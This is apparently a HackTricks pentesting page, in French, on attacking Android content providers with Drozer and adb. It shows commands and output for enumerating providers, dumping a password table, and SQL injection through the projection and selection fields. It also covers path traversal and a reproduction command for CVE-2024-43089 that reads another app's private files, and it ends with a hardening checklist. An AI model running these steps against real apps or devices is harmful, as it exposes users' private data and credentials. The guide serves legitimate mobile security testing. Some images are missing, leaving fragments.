# Exploiter les fournisseurs de contenu
{{#include ../../../banners/hacktricks-training.md}}
## Intro
Les données sont **fournies d'une application à d'autres** sur demande par un composant connu sous le nom de **fournisseur de contenu**. Ces demandes sont gérées par les méthodes de la **classe ContentResolver**. Les fournisseurs de contenu peuvent stocker leurs données à divers endroits, tels qu'une **base de données**, des **fichiers** ou sur un **réseau**.
Dans le fichier _Manifest.xml_, la déclaration du fournisseur de contenu est requise. Par exemple :
```xml
```
Pour accéder à `content://com.mwr.example.sieve.DBContentProvider/Keys`, la permission `READ_KEYS` est nécessaire. Il est intéressant de noter que le chemin `/Keys/` est accessible dans la section suivante, qui n'est pas protégée en raison d'une erreur du développeur, qui a sécurisé `/Keys` mais a déclaré `/Keys/`.
**Peut-être pouvez-vous accéder à des données privées ou exploiter une vulnérabilité (Injection SQL ou Traversée de chemin).**
## Obtenir des informations à partir de **content providers exposés**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Il est possible de reconstituer comment atteindre le **DBContentProvider** en commençant les URIs par “_content://_”. Cette approche est basée sur des informations obtenues en utilisant Drozer, où des informations clés se trouvaient dans le _/Keys_ répertoire.
Drozer peut **deviner et essayer plusieurs URIs** :
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Vous devriez également vérifier le **code ContentProvider** pour rechercher des requêtes :
 (1) (1) (1).png>)
De plus, si vous ne trouvez pas de requêtes complètes, vous pourriez **vérifier quels noms sont déclarés par le ContentProvider** dans la méthode `onCreate` :
.png>)
La requête sera comme : `content://name.of.package.class/declared_name`
## **Content Providers basés sur une base de données**
Probablement, la plupart des Content Providers sont utilisés comme **interface** pour une **base de données**. Par conséquent, si vous pouvez y accéder, vous pourriez être en mesure d'**extraire, mettre à jour, insérer et supprimer** des informations.\
Vérifiez si vous pouvez **accéder à des informations sensibles** ou essayez de les modifier pour **contourner les mécanismes d'autorisation**.
En vérifiant le code du Content Provider, **regardez** également les **fonctions** nommées comme : _query, insert, update et delete_ :
.png>)
 (1) (1) (1) (1) (1) (1) (1).png>)
Parce que vous serez en mesure de les appeler
### Query content
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insérer du contenu
En interrogeant la base de données, vous apprendrez le **nom des colonnes**, puis vous pourrez insérer des données dans la DB :
.png>)
.png>)
_Remarque : dans insert et update, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean_
### Mettre à jour le contenu
En connaissant le nom des colonnes, vous pourriez également **modifier les entrées** :
.png>)
### Supprimer le contenu
.png>)
### **Injection SQL**
Il est simple de tester l'injection SQL **(SQLite)** en manipulant les **champs de projection** et **de sélection** qui sont passés au fournisseur de contenu.\
Lors de l'interrogation du Content Provider, il y a 2 arguments intéressants pour rechercher des informations : _--selection_ et _--projection_ :
.png>)
Vous pouvez essayer de **profiter** de ces **paramètres** pour tester des **injections SQL** :
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Découverte automatique des injections SQL par Drozer**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Fournisseurs de contenu basés sur le système de fichiers**
Les fournisseurs de contenu peuvent également être utilisés pour **accéder aux fichiers :**
.png>)
### Lire **le fichier**
Vous pouvez lire des fichiers à partir du fournisseur de contenu.
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
Si vous pouvez accéder à des fichiers, vous pouvez essayer d'abuser d'un Path Traversal (dans ce cas, ce n'est pas nécessaire, mais vous pouvez essayer d'utiliser "_../_" et des astuces similaires).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Découverte automatique de la traversée de chemin par Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## Mises à jour 2023-2025 & conseils modernes
### Drozer 3.x (Python 3) est sorti
WithSecure a repris la maintenance de drozer en 2022 et a porté le framework sur **Python 3** (dernier **3.1.0 – Avril 2024**).
En plus des corrections de compatibilité, de nouveaux modules particulièrement utiles lors du travail avec les Content Providers incluent :
* `scanner.provider.exported` – liste uniquement les providers avec `android:exported="true"`.
* `app.provider.grant` – appelle automatiquement `grantUriPermission()` afin que vous puissiez communiquer avec les providers qui attendent `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` sur Android 12+.
* Meilleure gestion du **Scoped Storage** afin que les providers basés sur des fichiers sur Android 11+ puissent toujours être atteints.
Mettez à jour (hôte & agent) :
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### Utilisation de l'outil intégré `cmd content` (ADB ≥ 8.0)
Tous les appareils Android modernes sont équipés d'une CLI qui peut interroger/met à jour les fournisseurs **sans installer d'agent** :
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
Combinez-le avec `run-as ` ou un shell rooté pour tester les fournisseurs réservés aux internes.
### CVEs récents du monde réel qui ont abusé des Content Providers
| CVE | Année | Composant | Classe de bug | Impact |
|-----|-------|-----------|---------------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | Traversée de chemin dans `openFile()` | Lecture de fichiers arbitraires à partir du stockage privé de n'importe quelle application |
| CVE-2023-35670 | 2023 | MediaProvider | Traversée de chemin | Divulgation d'informations |
Recréez CVE-2024-43089 sur une version vulnérable :
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### Liste de contrôle de durcissement pour API 30+
* Déclarez `android:exported="false"` à moins que le fournisseur **doit** être public – à partir de l'API 31, l'attribut est obligatoire.
* Appliquez des **permissions** et/ou `android:grantUriPermissions="true"` au lieu d'exporter l'ensemble du fournisseur.
* Mettez sur liste blanche les arguments `projection`, `selection` et `sortOrder` autorisés (par exemple, construisez des requêtes avec `SQLiteQueryBuilder.setProjectionMap`).
* Dans `openFile()`, canonisez le chemin demandé (`FileUtils`) et rejetez les séquences `..` pour éviter le parcours.
* Lors de l'exposition de fichiers, préférez le **Storage Access Framework** ou un `FileProvider`.
Ces changements dans les versions récentes d'Android signifient que de nombreux primitives d'exploitation héritées fonctionnent toujours, mais nécessitent des drapeaux/permissions supplémentaires que les modules drozer mis à jour ou l'outil `cmd content` peuvent appliquer automatiquement.
## Références
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}